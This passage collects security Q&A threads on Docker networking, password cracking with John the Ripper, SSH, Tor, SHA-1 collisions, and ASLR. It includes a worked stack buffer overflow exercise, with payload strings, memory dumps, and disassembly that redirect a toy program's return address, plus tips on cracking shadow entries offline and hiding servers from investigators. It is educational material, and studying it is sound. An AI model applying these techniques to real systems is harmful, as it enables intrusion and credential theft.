In a default Docker setup (e.g. no fancy overlay networks to consider), containers communicate with each other over the default Docker bridge.  Also by default containers are assigned the NET_RAW privilege which means that amongst other things they can try to carry out things like ARP spoofing attacks (there are details of this in this whitepaper from Jesse Hertz

So if you use unencrypted communications between 2 containers, then there is a risk that a third, malicious, container running on the same host could try and sniff the traffic between your two containers.

How realistic that threat scenario is, will entirely depend on your application.


Use my own wordlist for single mode in John the Ripper I would like to apply the complete set of mangling rules to a reduced wordlist of user information. How can I do that? I know that's what JtR is supposed to do by default in the single crack mode but if I take the hashes in one computer and try to crack them in another the information that JtR may use in the second computer isn't useful to crack the passwords.

I would also like to know where is the wordlist that JtR uses for the single crack mode.

First, (unless you're talking about "single crack" mode generally), I'm not sure what you mean by "a reduced wordlist of user information". It sounds like you may be describing a simple wordlist attack, which is executed with the --wordlist [wordlist] option.

Second, from the JtR modes documentation, the wordlist used by "single crack" mode is:

  It will use the login names, "GECOS" / "Full Name" fields, and users'
  home directory names as candidate passwords, also with a large set of
  mangling rules applied.

The way to run a "single crack" attack on a separate system is to simply supply the entire /etc/shadow entry to JtR as the target "hash". (In other words, it's not pulling the data from /etc/shadow directly; instead, you are extracting that information and supplying it separately.) When run in "single crack" mode, it knows how to parse each field and use them accordingly.


Mechanisms to prevent error propagation in wireless networks with respect to the avalanche effect I was wondering what mechanisms exists that could be used to prevent error propagation in wireless networks and especially with respect to the avalanche effect.

I know ARQ and FEC can be used, but these affect the QoS when used. Are there any mechanisms that work better than these two?

Wireless protocols, or even wired protocols, are based on packets, often called frames. A typical frame will have a checksum, that is used to detect whether the frame was damaged or not. If the frame is detected as damaged, it is dropped altogether; it is up to the upper layers to provision for acknowledge and reemission of missing frames (that's what TCP does). Then still upper layers (SSL/TLS) employ cryptography to detect remaining alterations, that can be assumed to be malicious.

When encryption is applied at the frame level (at "layer 2" in the (in)famous OSI model), each frame is encrypted and decrypted independently of the others; thus, no decryption error "propagates" to other frames. The so-called "avalanche effect", a concept in cryptographic algorithm designs, does not imply that subsequent frames will be garbled; in fact, in most cases, that effect is limited to one or two block. This can be viewed in the CBC mode of encryption: if you modify one encrypted block, then the modification alters only two blocks after decryption.

There are some protocols that do not drop modified frames; typically, GSM (for voice calls) will try to recover from transmission errors. GSM uses the A5/1 stream cipher, so that encryption is XORing with a key-dependent stream. If a bit is flipped in the encrypted frame, then the corresponding bit will be flipped in the decrypted data, but other bits will be unaffected. Since this is voice, slight alterations don't make the words unintelligible, so GSM chooses to keep such partial frames. In fact the receiver will not even know that the data was altered in transit.

Note that this does not mean that A5/1 has no avalanche effect. In fact it still has a lot; if you change a single bit in the key, then the whole internal state of A5/1 (and the subsequently produced stream) is completely modified. A5/1 has other shortcomings (that all boil down to a way too small internal state), but not a lack of avalanche effect.

(Basically, "avalanche effect" does not mean "change 1 bit of encrypted text and the whole plaintext is turned into junk". That expression is a concept which makes sense only within a specific context of internal cryptographic primitive design.)


How common is Perfect Forward Secrecy in HTTPS clients? We are hosting an SaaS website and API with the https protocol, both of which are accessed by numerous users with a lot of different browsers and client-side apps. What would happen if I made PFS mandatory in my IIS Web Server's configuration? Could there be problems with incompatible clients which do not know how to handle PFS?

All major browsers support ECDHE: IE since IE7 (on Vista and newer), and Chrome and Firefox for even longer.  However, Windows XP users of IE do not get ECDHE support, and even though Windows XP is past end-of-life, people are still using it.  If you want to allow XP users, then I suggest just putting the ECDHE modes at the top of your cipher preference string.  If you value PFS over Windows XP users, then create a cipher preference string with only ECDHE modes.

Qualsys's SSL Labs has a great article on deploying PFS, and of course their checker will help you figure out which browsers will negotiate with which cipher suite.


Exploit a buffer overflow without SIGSEGV For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"

This is the code I use for testing on an i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Task 1: Create a payload so that target() is being called.
This was rather easy to do by replacing the EIP with the address of the target function.

This is how the buffer looks

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Payload I used was:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

This works fine but stops with a segmentation fault.

Task 2: Modify the payload in a way that it does not give a segmentation fault

This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.

I tried to add the return address on the stack but that did not help

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?

I attach the objdump of the programm

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave
 8048490:   c3                      ret

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave
 80484aa:   c3                      ret

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave
 80484de:   c3                      ret
 80484df:   90                      nop

Returning to normal execution from shellcode is hard.

You're exactly right.  Your function likely doesn't have a valid return address.  I'm not entirely sure this is your problem, but your attempt to put the return address on the stack is incorrect.  You would want your Target function's return address to be above you in the stack, not below it.  As it is now your stack looks something like this:

High Memory
7d840408
ca840408
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

You could try something like this:

High Memory
ca840408
7d840408
41414141
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Note that I added another 4 A's to replace the 0x080484CA, and moved that address above the Target function's address.  Now when the stack unwinds it will have a valid function to jump to.  Assuming that the extra 4 byte write hasn't destroyed something useful from Main.  But I believe you'll just be overwriting the parameter pushed to the stack in this case.

This does not completely solve your problem.  Your overflow has now blown away any stack frame pointer that was there, stack canary, and any local variables that were setup.  Your execution might go back to the original function, but without the correct state the function could still segfault.  Since your main function is fairly simple you might be in the clear.  These are aspects that should be considered though.

This is why writing shellcode can be complicated, and is often written in assembly.  When you have complete control over registers, and the stack you can manipulate it so that at least the program doesn't crash.  But it will take quite a bit of work and some cleverness.


How can I guarantee non-modification of data with signatures? I am required to design a system where auditors can come along some time in the future, examine historic data, and be sure that the data has not changed since it was stored. I have a spec that instructs me to timestamp and sign the data when I store it, but I figure if I want to change the data in future, I can always regenerate the signature with the modified data and the original timestamp. Since the signature is generated with my certificate, there is nothing to stop me?

Any solution, it seems to me, must require that my signatures be timestamped and countersigned by a third party. In that way, a future auditor has a third party's word that the hash protecting a set of data genuinely is as old as it claims.

Do norms such as XAdES cater for this requirement? Can the certificate authority that issues my certificate date and countersign my signatures? Are there other online services that do this?

Use trusted timestamps
Have one more trusted external company timestamp and sign a hash of your content for you. There are several companies that do this for money.

See: Trusted Timestamping (wiki page)
Globalsign has a nice diagram (and they also sell that service)

You can then create a chain. Where each link of the chain links to its predecessor and each link is also signed.


Vulnerabilities of Secure Shells I ssh into my school's engineering computer to submit large programmin projects on a regular basis. Are there any vulnerabilities or worries about using this channel so frequently? What makes a secure shell so secure? What does the computer I am connecting to have access to on my computer?

The remote server has no access to your machine; the SSH session is essentially a tunnel into a shell account on the remote machine.

The reason SSH is secure is that it uses similar mechanisms to TLS, which enforce confidentiality and authenticity. Essentially the SSH server has a public key, which is transmitted to you and stored on your machine. You then trust that key for all future communications. As long as the original transmission of the SSH public key was not tampered with, you can maintain security for communications in the future.

When you connect, your client uses the server's public key to encrypt a randomly generated session key, and sends that encrypted key to the server, which uses the private key (which is secret, and only known by the server) to decrypt the message. At that point, only you and the server know the session key, and can use it to encrypt messages using a symmetric cipher. The session key is also used to enforce authenticity and integrity of the messages, via a message authentication code, which allows both sides of the conversation to ensure that no part of the transmission was altered by a 3rd party.

A simplified version of the handshake is as follows:

The server generates a key pair for an asymmetric cipher, e.g. RSA. The private key is kept secret. This key pair is used as the server's identity, and is usually only generated once, then updated infrequently.
The server sends the client its public key. This only has to happen once, for the first time the client communicates with the server, or if the server changes its public key. After that, the client keeps a local copy of the public key.
The client and server agree on a cipher suite to use, e.g. AES-128 and SHA256. This process is rather complex and somewhat out of the scope of this answer.
The client generates a random session key for the chosen symmetric cipher (e.g. a 128-bit key for AES-128) and encrypts it with the server's public key.
The client sends the message to the server.
The server decrypts the message using the private key, and uses the decrypted session key as the key for the chosen symmetric cipher.
Each message is encrypted using the symmetric cipher, and authenticated via a HMAC based on the hash algorithm chosen in the cipher suite agreement. Both sides can now exchange messages safely.

Obviously this glosses over some details, but it's a reasonable representation of what happens.


Secure alternative to e-mail After the announce that NSA conducts extensive metadata and traffic search on e-mail, it is clear that people looking for privacy and security would better abandon the system completely, since, by design, this kind of snooping cannot be avoided.

However, I do not know of any system that is meant to replace e-mail as a whole with a verifiably secure and private protocol. There are instant messaging systems and social networks who try to be secure by design, but I as far as I know no protocol that is meant to take the place of e-mail in everyday communication. PGP on top of traditional SMTP mail is being suggested as an alternative, but it is not immune to traffic analysis.

So, the question is: has anyone designed a secure protocol to replace e-mail with similar functionality? Is there a live project around that I can start using and supporting?

If you ever look or read about the old spy tactics, they would pass messages in soda cans under a park bench, or do things that couldn't easily be found. From a traffic analysis and meta-data collection issue, encryption of the messages do not matter since the analysis is of the signals not the content. Signals analysis may look at things like between what two parties, frequency, etc.

One possibility may be using something like a TOR-like infrastructure, where the traffic is difficult to decipher without controlling a lot of nodes, though as recent news has shown, TOR is not a full proof way to get anonymity and can be compromised.

There are also anonymous BBS and BBS-type systems. You post the message encrypted and then someone else has to know where to go to find it an decrypt it. If you upload and download a lot, its difficult to tell the connections between individuals, making traffic analysis hard.

Focusing on meta-data or signals analysis part, you can always look at adding noise, such as the Chaffing and Winnowing system proposed by Ronald  Rivest. You could also try to communicate over covert channels, split messages, etc. You could move around between various forums every few days, even if they are off topic (and thus less likely to be targeted in a search). You could communicate in the comments of random websites and have some way of telling your receiver how to find the comments. You could also implement stenography and post things in very public places.

In general, to make it easy and secure would be real challenge. If all traffic can be monitored at the wire level, then traffic analysis is always possible without sufficient noise or physically moving between networks (go to a new coffee shop every few minutes).

If you are not concerned about the meta data and the signals, but want privacy, any type of encryption where the service provider does not hold the keys will work. Ekiga and other tools provide encryption, and are relatively user friendly. Even outside of security, there are always arguments for replacing email, its an issue of what features are needed by the masses and how to get them to transition. The Internet is full of legacy hold backs which take a long time to be replaced (even WWW-browsing has lots of limitations and draw backs).

--Edit--

Just saw this today on HN: Secure Share. Some of their points:

  We employ GNUnet for peer-to-peer routing and encryption (the new
  openssl of P2P) and PSYC to create the social trust graph (because it
  performs a dozen times better than XMPP or OStatus).

  communication between parties cannot be measured as they may have none to several routing hops in-between. an observer never knows if a communication came where it came from and ends where it is going to.

May end up being something useful, if you could get people to agree to leave the web browser.


How to red team against firewalled architecture? Prior Knowledge

I understand the types and differences between firewalls.
I have (what I believe to be) a relatively good mental model of a firewall.
I understand routing, iptables, signature detection, and tunneling relatively well.

The Question

What methodologies are used when attacking a firewall? Assuming you gain some privileged information regarding a server(RHOST) at a given location, and you are attempting to penetrate it from a client(LHOST), how do you determine the best method to bypass the firewall's protections?

I understand this is highly situational

I am more interested in what method is used to differentiate the disparate contexts that would imply a specific attack method
(EG: I've read about firewalking with TTL and UDP, but how would one know this is useful?)

As a follow-up question: how can an attacker formulate an attack that they are sure will not be detected by network forensics before launching any packets? Does it require privileged knowledge of the firewall itself, or can it be done with no prior knowledge?

I would love a link to a book, ebook, website, article, journal, or otherwise technically oriented resource I can use to instruct myself with. If that isn't available I'd love a detailed answer - I really appreciate the help, but I'm having a very difficult time finding good, relatively current information regarding this topic.

Thanks,

Andrew

My References

-Checked Amazon extensively, only found books on "firewall configuration best practices"

-Hackerstorm released a 4$ Ebook on "secrets of firewall penetration for security professionals" which was just a very high level overview and contained very little useful information

-Read an article from 1998 on firewalking using UDP but it seems like a 15 year old resource might not be relevant any more:
http://packetfactory.openwall.net/projects/firewalk/firewalk-final.pdf

-Google'd around, found very little

-Ordered a book that seems promising, but it hasn't arrived yet:
Advanced Penetration Testing for Highly-Secured Environments

There are endless ways to go about this, and no universal answer, whether you're talking about "attacking a firewall" or attacking "against a firewalled architecture" (you mention both). The key to successful attacks is to be creative and think about the big picture. If there was a book or simple answer about how to do this, it wouldn't be a problem that companies spend megabucks trying to solve.

Here are some useful thought processes to get you started: How is the firewall configuration managed? Who manages it? How is its software updated? How do authorized users tunnel through it? Who are the authorized users and what other software do they run? What are the services exposed publicly by the firewall? Do those services have vulnerabilities? What types of systems are behind the firewall? Where do they connect out to, why, when, and using what kind of software? Where is the firewall physically located?

If you're actually worrying about whether a specific attack is useful or not (why aren't you trying it right now?) or trying to determine which attack one can be "sure" is undetectable, you're way out of your league.


How was The Pirate Bay datacenter kept hidden? How were The Pirate Bay's servers kept hidden for so long? You would think that it would be easy finding the servers that so many DNS servers are pointing to. Tracing the chain to the main datacenter should have been an easy task, but why was it different in this case?

The pirate bay used multiple proxies around the world. As soon as one got detected, they switched over to another one. They used preinstalled encrypted images that they deployed at numerous cloud providers around the world. In order to stay hidden, the servers used many different techniques.

All traffic between the proxies and the main servers was tunneled through vpn connections. If a proxy lost contact with the main servers for 8 hours, it shut itself down. A fully encrypted, completely shut down server is probably never going to be decrypted without a key, if done right. The standard police method of taking computers, by unplugging the power to avoid shutdown scripts from running, ment that the in-memory key was lost as well.

On top of the proxies, they used cloudflare to hide the location of their proxies from the general public. The pirate bay DNS records still point to cloudflare today. Cloudflare is one of the companies that takes privacy really serious, defending the lulzsec black-hat hacker group's website from big DDOS attacks in 2011. Since cloudflare has support of automatic failover, a proxy being taken offline isn't a problem at all. When you are starting to run low on proxies, just spawn twenty new ones on other cloud providers, add them to the list and call it a day.

If you cannot ever read the configuration from a siezed server, and there's at least two levels of ever changing proxies in-between, there's not much you can do to find out where the backend servers are.


Ensuring integrity of broadcast messages between known network nodes I need to share data between N network nodes in a given network.
The N network nodes are all mine, but apart from them it is possible for any device to connect to the same network.

There is no master node, all the nodes are on the same level. Any one of the nodes can generate the critical message that I want to protect the integrity of.

The solution that I have so far is storing a symmetrical secret in all my network nodes, and then send the messages (and a time stamp), one by one to each of my network nodes, along with an HMAC  value.
This will make sure that the messages cannot be replicated or retransmitted.

Is there a better way than using HMAC? Is there a way to use broadcast messages? (Create an internal network mask and send the messages as broadcast?)
Any comments on my suggested solution are welcome, thank you.

Using broadcast messages (or multicast) is usable for continuous streams like 100 status updates per second and distributing it to thousands of nodes in real-time. It is also good for streaming video. Now the thing is that in this scenario some packets can be dropped and often never recovered as it's one-way communication.

Another thing is that if every node can send message to every another node it is very inefficient. This is because for N nodes you have N^2 connections / streams to manage, and for example if one node get glitchy all is slowing down, or if there are plenty of nodes it's also slowing down, as doing messaging on one's own is not as efficient and reliable as it is with mature software plus the architecture is inefficient too.

So the most optimal solution is to use message queue, the way you deploy additional nodes and their role is to serve as message brokers. So every instance would be able to send message to them and receive messages from it. This way you can use TLS and username/password to connect to the message server (and your nodes can make sure that remote TLS cert is the right one). Ideally you could also create dedicated VLAN for this so no-one can connect to it by plugging something.

Example servers:

rabbitmq
activemq
more of them on queues.io

You can also use standard SQL Database, for example MariaDB, PostrgeSQL, SQL Server, Oracle DB etc. Since these databases have table level and sometimes row-level locking as well transaction isolation they are excellent for messaging. And now, if you are fearing that someone can connect to VLAN and pose as the database you do really need to put this on dedicated VLAN.

You can use any Layer 2/3 switch which can act as default gateway and has VLAN support.


School asked us to submit our MAC addresses My school has recently asked us to submit our MAC address to the school along with our designated name to be used to connect to the Wi-Fi. Previously this wasn't needed.

I would like to ask about what kind of information that they can collect from this? Would they be able to track our browsing history or more? What if I use Tor Browser? Would it have any effect?

If they can track me, what measures can I take to prevent them from invading my privacy?

I think you should ask why they want to use the MAC address, not necessarily for privacy reasons; "why do you need the MAC Address?" I think it's a reasonable question to ask them.

Firstly, they will have MAC addresses of all the individuals who connect to the WiFi. Any device connecting to the WiFi will reveal their MAC address, based on the ARP protocol.

They may think locking down WiFi to known MAC addresses is a good security measure. It's not really because I can obtain your MAC address if both of us are in the same Starbucks and on the same WiFi. I can then spoof your MAC address quite easily. So from a security measure this is not great.

They may want to track your activity. They can do this already without asking for your MAC, just giving them the MAC address allows them to map it to a individual easier. They can get a history of MAC & IP address from logs and  their NAT can keep a history of IP Address & Ports and map back to the MAC address.

If you use Tor, they will be able to say you used Tor, but not the content.

So, I would ask why do you want my MAC address, giving out the MAC address is not going to really affect you. Unless of course on your home WiFi or something else you are using MAC address as a method to identify yourself; as MAC address can be easily spoofed.


How to make an iPhone app HIPAA compliant? How do we make a iPhone app HIPAA compliant. Our website is HIPAA compliant since we use encryption at rest, we use SSL, and other security provisions.

Will using a SSL connection give us the advantage? Also, i believe that the iPhone provides encryption regardless if a phone is protected or not?

I can't give you the full answer, but the short version that the lawyer at my previous hospital gave me was:

SSL will protect the data that is being transferred, however, anything that is cached to the SD card/Hard Drive is not encrypted...

So, when looking at this application, you will also have to encrypt what is stored on the phone by the app.  If you have ever plugged an iPhone into your computer (or a friends), you have access to the full set of storage (including the OS), which means anything cached is available if the phone is lost.

I would look carefully at encrypting at least any PKI, PHI or PII that your program provides to the device.

The problem is that even if the program doesn't store data, the web interface can cache data going to and from the device.  This is the part that could cause you problems.


What does 2^77.1 calls presented in a SHA1 attack mean? Regarding the SHA 1 deprecation, I found this information here:

http://blogs.technet.com/b/srd/archive/2013/11/12/security-advisory-2880823-recommendation-to-discontinue-use-of-sha-1.aspx

I know that the 2^77 and 2^61 deal with time complexities, but are these specific attacks against the full 80 rounds of SHA1 or do they mean SHA1 was broken with fewer rounds using those time complexities?

What the page you link to means is that there are known attacks which, when implemented, would allow building collisions with some costs:

If the goal is "raw collisions" then the computational effort is equivalent to running 261 times the SHA-1 function. A raw collision is such that the attack produces two messages m and m' which are distinct but hash to the same value. In fact, due to the nature of the attack, the attacker can choose a common prefix, i.e. m and m' begin with the same sequence of bytes that the attacker gets to choose; then come some bytes that he must accept "as is".
If the attacker wants messages m and m' begin with two distinct sequences and choose both those prefixes (that's chosen prefixes), then the cost is higher, up to an average cost of 277.1.

Since SHA-1 has output size 160 bits, both kinds of collisions can be done generically with effort about 280: a "generic" attack is one that works against all hash functions, however perfect they may be. To describe things simply: the attacker chooses his prefixes p and p', then generates random values r and r', computing h(p||r) and h(p'||r'). Once the attacker has accumulated about 280 values h(p||r), and 280 values h(p'||r'), then probability of a collision (one hash value appearing in both sets) begins to be non-negligible.

Important notes:

These attacks are theoretical: 261 is still quite a lot, and the attack has not been run yet. The description is sound, and our experience with MD5 tells us that it most probably works as advertised; but, until it has been executed, we don't really know.
To get the gist of what 261 represents, suppose (with very high optimism) that implementing the attack can be done efficiently on common GPU, with optimal parallelism (there are reasons to believe that it is not necessarily the case). Then we can use existing benchmarks to try to see what it would take to run the attack once. An AMD R9 290X can apparently run about 3.7 billions of SHA-1 par second; thus, a 261 effort translates to 20 years on a single such GPU. You can trim that down to one month if you buy and run 240 such GPU, one day if you have 7200 GPU. Power consumption alone will be in the megawatt range... this gotta be expensive.
To actually exploit the attack, to produce (for instance) a pair of colliding certificates (allowing to reuse the signature from the first certificate on the second), you need the chosen prefix attack; raw collisions don't cut it. This multiplies the computation effort by 216.1 (the ratio between 277.1 and 261), which is about 70000. With your GPU, assuming you get them all in line, then you will need your own nuclear power plant, and still be patient...
To be fair, we must also point out that the chosen prefix attack can result in rogue certificates only if the CA uses fully deterministic and predictable certificate contents -- in particular, a deterministic serial number. Some CA software does not have this specific issue; e.g. Microsoft's CA (ADCS) embeds about 30 bits of randomness in the serial number, which prevents application of the collision attacks (even with MD5).
The chosen prefix attack counts as an actual break, from an academic point of view, because 277.1 is lower than 280... but not much lower (only about 7 times lower). Although comparing numbers that high is perfectly valid in cryptography, it can be predicted that actually applying the attack will raise a non-negligible number of issues. When we are talking about efforts in the 230 or 240 range, things are easy: costs are mostly about buying a couple of big PC. In the 260 or more, the problem becomes one of thermodynamics (flowing energy in, evacuating heat) and economics, and we can no longer scale results with reliable accuracy.

Bottom-line: though the attacks which are talked about are "real" (academically speaking) and apply to the full SHA-1 (with all its internal rounds), they are still in the "theoretical only" range, and mapping their alleged costs to actual dollars is complex because they are in a range where non-cryptographic issues tend to dominate.

The gist of the advisory you show is this sentence:

  It appears that SHA-1 is on a similar trajectory

That sentence is full of unsubstantiated insinuations, and must not be considered as more accurate than, say, astrology. Astrology works at least as well are pure luck, so it cannot be completely dismissed; but we must still note that the idea of attacks becoming faster over time is of an essence which is qualitatively distinct of, say, Moore's law. The steady pace of computing power available for a given price has been sustained by a number of ideas which were already known in the 1970s, and we are still not at the end of it. There are "physical walls" that will become bothersome in the future (quantum tunnelling of electrons between wires...) be we also know that we still have a few years before us; CPU in three years will be faster and cheaper, and we know how we will build them.

Advances on cryptographic attacks are not of the same kind. Predicting that attacks will get better means that we assume that better attacks exist, and that the relevant ideas will sprout in the right brains. This cannot be quantified with any kind of reliability. Maybe in ten years we will still be at 261 (and 277.1). Maybe we will be at 230 (i.e. sub-second break). We really don't know.

This does not mean that SHA-1 should not be avoided. In fact you already should not use it in new systems, and strive to implement support for SHA-256 anywhere. But you should not panic. The MD5 example shows us that we, actually, have time: it took 5 years between actual MD5 collisions, and the first (and only) demonstration of colliding certificates.

The current fashion of placing an anathema on SHA-1 should be understood politically, not cryptographically. The situation on SHA-1 has not substantially changed in the last four years. What happens right now is that Microsoft and Google have apparently agreed to force widespread SHA-256 support, and they do so by the usual expedient of empire builders: threats. They kick the anthill. They brandish the apocalyptic removal of SHA-1 so that the rest of the World finally sets in motion and begins to actually support SHA-256.

(My guess is that Microsoft, at least, will backpedal. For instance, consider that right now, the .NET framework is still based on CrytoAPI, not CNG, and appears to be incapable of computing CMS or XML-DSig signatures with SHA-256 as base hash function.)


The Correctness of the "We Don't Track" Statement While Being on a Third-Party Cloud Platform When a company says:

  "We don't track", and our application is on a third-party cloud platform.

Is it true to say, their users' data are still trackable. The company might not track at all, however their cloud provider might; and have the ability to do so if they wanted.

This is not a direct answer to you question but :
The "company" says to you : "We don't track" AND the third-party says to the "company" :"We don't track".
You can trust both but never in "THEY don't track"


In depth TOR encryption design details I am currently struggling with understanding the details of a connection in tor, mainly because I try to understand PCTCP. In this paper the authors claim that the changes are local to the onion router which is using PCTCP and that IPSec completely replaces TLS in the sense of the security goals integrity, confidentiality and authenticity.

Fine. I understood the basic onion routing principle, I understood Tor (I guess) and I understood the intention in PCTCP, but when replacing TLS with IPSec, imho the changes can not be local to the onion router using PCTCP unless I have a wrong understanding of the TOR security architecture.

Tor uses onion routing, meaning onion proxy (OP) has negotiated three symmetric keys (K1-3) with each of the onion routers (OR1-3) on the circuit with the Diffie-Hellman key exchange. These are the keys for the "onion skins" which are wrapped off the data flowing down the circuit by the onion proxies. (I see no possibility to introduce IPSec here)

But is this the only encryption in TOR, or are the connections between the onion routers encrypted too? (TLS, would be replaceable by IPSec) If so, why is this necessary?

Further PCTCP states that to avoid an adversary to count the connections IPSec will be introduced. But the thread model defined in TOR assumes that an adversary can run its own onion router, with which he could count the connection even with IPSec enabled.

It would be fine if somebody could explain tor connection design as a whole, including all the places where security mechanisms are used. I guess the nice illustration cited in every second thread in the web is not all tor is made of.

TOR's TCP Connections

The PCTCP paper is claiming that TOR uses a single TCP connection with multiplexed data from several users.  The single output buffer then requires a scheduler to encrypt/decrypt each user's data, and ensure that all of the processing of each data stream is correct.  This can lead to dropped data in a packet, which causes the re-transmission of that packet, and causes overall latency in TOR.

PCTCP is changing how the connections are performed.  They're proposing that rather than multiplexing users together in a single TCP session, each user would get their own dedicated TCP connection between Onion Routers (ORs).  TOR has its own protocol for establishing keys between ORs.  This operation can still be performed as usual, but now with a dedicated TCP connection.  The goal here is to attempt to reduce data corruption and the subsequent re-transmission of packets.

TOR Protocol Communications

TOR uses TLS between ORs to protect its TOR protocol communication.  Once the messages are completed, and the keys have been established encrypted data passes through the multiplexed TCP connection.

PCTCP doesn't change how the keys are exchanged it just spawns a new TCP session for each new user.  It could use TLS sessions for these TCP connections if they wanted. The flaw in their design is that an adversary can witness the number of TCP connections, and traffic analysis on a PCTCP node could be performed.  To counter this PCTCP wraps all communication between ORs in an IPSec tunnel.  Essentially moving the multiplexing of data at the Transport level to the IP level.  Since IPSec is performed at the IP layer the source and destination don't care what the TCP data is.  The packets will be decrypted/encrypted, and the individual TCP connections will be processed normally by the TOR daemon. The PCTCP paper states that this makes the use TLS between ORs redundant.  Which it does.  You would now be tunneling within a tunnel.

Keep in mind that this is only between the ORs.  The data between the OP and the entry node will continue to use a TLS connection to secure its communications.  You can still gain significant performance since most of the dropped data and re-transmissions are due to the inefficiency of the ORs.

This is how they can claim that changes only need to happen on the ORs.  The OP uses its same communication method with the entry node.  The ORs need to enable IPSec, and use PCTCP to establish dedicated TCP connections on a per user basis.  IPSec is enabled by default in all Linux distributions now.  As long as the OR is configured correctly this tunnel can be established.

They don't really state how they handle a connection if the IPSec tunnel is rejected.  I'd guess that their PCTCP client would just default back to a TLS connection.  They also elude to the fact that even a single node upgraded to PCTCP in a circuit will improve performance.  But it seems to me that for IPSec to work you would need at least two adjacent ORs configured with PCTCP.  In their experiments they always have at least two.

I think I addressed each of your questions.


Where can I find documented details of virus so that I might be able to find out why I am infected? My AV detected that some computers in our network are infected with Win32.Sality.Y.
Is there any good place I can find the documented details of this virus, so that I can (generally) how the virus works. Then I might be about to find out if it's infected via browser, or email, or USB stick, or other ways.

Google's your best bet. Sality is/was a pretty large botnet, so there's loads of info out there:

Sality on Wikipedia
Microsoft Malware Protection Center
Symantec's knowledge base

You likely got it from a shared drive or an infected USB stick, which is its main propagation method.


How often is ASLR randomness refreshed, in Linux? Most Linux distributions now use ASLR for many programs, to randomize the layout of memory.

How often is the randomness used for this changed?  If I re-run the same program multiple times, will it receive the same layout each time, or will it differ every time?  Is fresh randomness generated each time the program is run?  each time the machine is rebooted?  When are the random values refreshed/reset to new values?  Does this depend upon the Linux distribution?  Does it depend on which region of memory we are talking about (e.g., the executable, dynamic libraries, the stack, the heap, etc.), or is the answer the same for all of them?

The Wikipedia page shows that the answer is "it depends". There are multiple implementations and patches around.

The important points to consider are the following:

A Linux executable consists in a main binary, and DLL (shared objets) loaded dynamically. In traditional Linux, the main binary is at a fixed address chosen at link time, while DLL are position-independent code.
DLL in Linux can be "moved around" inexpensively. Indeed, when a DLL is mapped into an address space, all references to elements of that DLL (from the DLL itself, and from other DLL and the main binary as well) must be adjusted to point to that DLL. This means that there MUST be some modification of some bytes in the main binary and some DLL, depending on how the address space is organized for that specific executable instance. The catch, though, is that any modified page (4 or 8 kB, depending on architecture), is no longer shareable (in physical RAM) with other instances for other executables concurrently executed. This tends to void the RAM usage advantage of DLL (historically, that was the reason for using DLL, but nowadays the ease of software upgrade is arguably a stronger reason).

In Linux (and other OS, in particular all those using ELF), the way out of this issue is to compile DLL "specially" as Position-Independent Code: in practice, the binary code thus arranges for grouping all (or most) references which must be adjusted into the same pages, using an indirection table (the "GOT", aka "Global Offsets Table") which is dynamically located by its position relative to the invoking code. This means that most DLL pages will remain unaltered when the DLL is loaded, and thus will be shared with any other instance of that same DLL in the address space of another executable.

This contrasts with the way things are done in Windows, where the OS tries to load the same DLL at the same address for all process which use it, so that the references may be modified "in place" and still be shared, because all the process will see the same DLL at the same address. (More than 20 years ago, at the times of "libc4", DLL were not "moveable" in Linux and were always loaded at a fixed emplacement, for all process.)
The main binary is supposed to be linked at a fixed address; however, a mechanism similar to PIC DLL has been also implemented for main binaries: it is called PIE. I explained it at length there. Since PIE can break some non-C applications, Linux distributions which use it tend to reserve it to some applications which are deemed "vulnerable" (i.e. applications which have some network activity).
Linux also features VDSO, which can be thought of as a DLL provided by the kernel, instead of being mapped from a file. The kernel's support for ASLR will randomize the VDSO address on a per-process basis.
Any randomization requires space, and thus may imply address space fragmentation issues (allocation of big blocks may fail because the free space is split into several smaller holes). This is especially true for 32-bit Linux variants; on 64-bit architectures, the address space is still sufficiently big (compared to physical RAM size) to avoid problems. Therefore, ASLR may have to be disabled for some applications, e.g. photo/video editing. This can be done on a per-process basis with setarch.

From these, we get the following:

